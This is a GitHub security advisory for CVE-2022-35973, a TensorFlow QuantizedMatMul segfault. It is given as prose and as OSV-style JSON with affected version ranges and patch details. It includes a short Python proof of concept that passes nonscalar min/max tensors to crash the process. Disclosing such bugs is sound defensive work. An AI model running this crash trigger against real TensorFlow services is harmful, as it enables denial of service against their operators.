ghsa-689c-r7h2-fv9v
Vulnerability from github
Impact
If QuantizedMatMul is given nonscalar input for:
- min_a
- max_a
- min_b
- max_b
It gives a segfault that can be used to trigger a denial of service attack.
```python
import tensorflow as tf
Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ```
Patches
We have patched the issue in GitHub commit aca766ac7693bf29ed0df55ad6bfcc78f35e7f48.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
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"type": "ECOSYSTEM"
}
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
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{
"fixed": "2.8.1"
}
],
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}
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},
{
"package": {
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"name": "tensorflow"
},
"ranges": [
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"events": [
{
"introduced": "2.9.0"
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{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
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{
"introduced": "0"
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{
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-cpu"
},
"ranges": [
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{
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{
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"type": "ECOSYSTEM"
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.2"
}
],
"type": "ECOSYSTEM"
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]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35973"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T22:22:27Z",
"nvd_published_at": "2022-09-16T21:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\nIf `QuantizedMatMul` is given nonscalar input for:\n - `min_a`\n - `max_a`\n - `min_b`\n - `max_b`\nIt gives a segfault that can be used to trigger a denial of service attack.\n```python\nimport tensorflow as tf\n\nToutput = tf.qint32\ntranspose_a = False\ntranspose_b = False\nTactivation = tf.quint8\na = tf.constant(7, shape=[3,4], dtype=tf.quint8)\nb = tf.constant(1, shape=[2,3], dtype=tf.quint8)\nmin_a = tf.constant([], shape=[0], dtype=tf.float32)\nmax_a = tf.constant(0, shape=[1], dtype=tf.float32)\nmin_b = tf.constant(0, shape=[1], dtype=tf.float32)\nmax_b = tf.constant(0, shape=[1], dtype=tf.float32)\ntf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.\n",
"id": "GHSA-689c-r7h2-fv9v",
"modified": "2022-09-19T19:35:12Z",
"published": "2022-09-16T22:22:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-689c-r7h2-fv9v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35973"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow vulnerable to segfault in `QuantizedMatMul`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.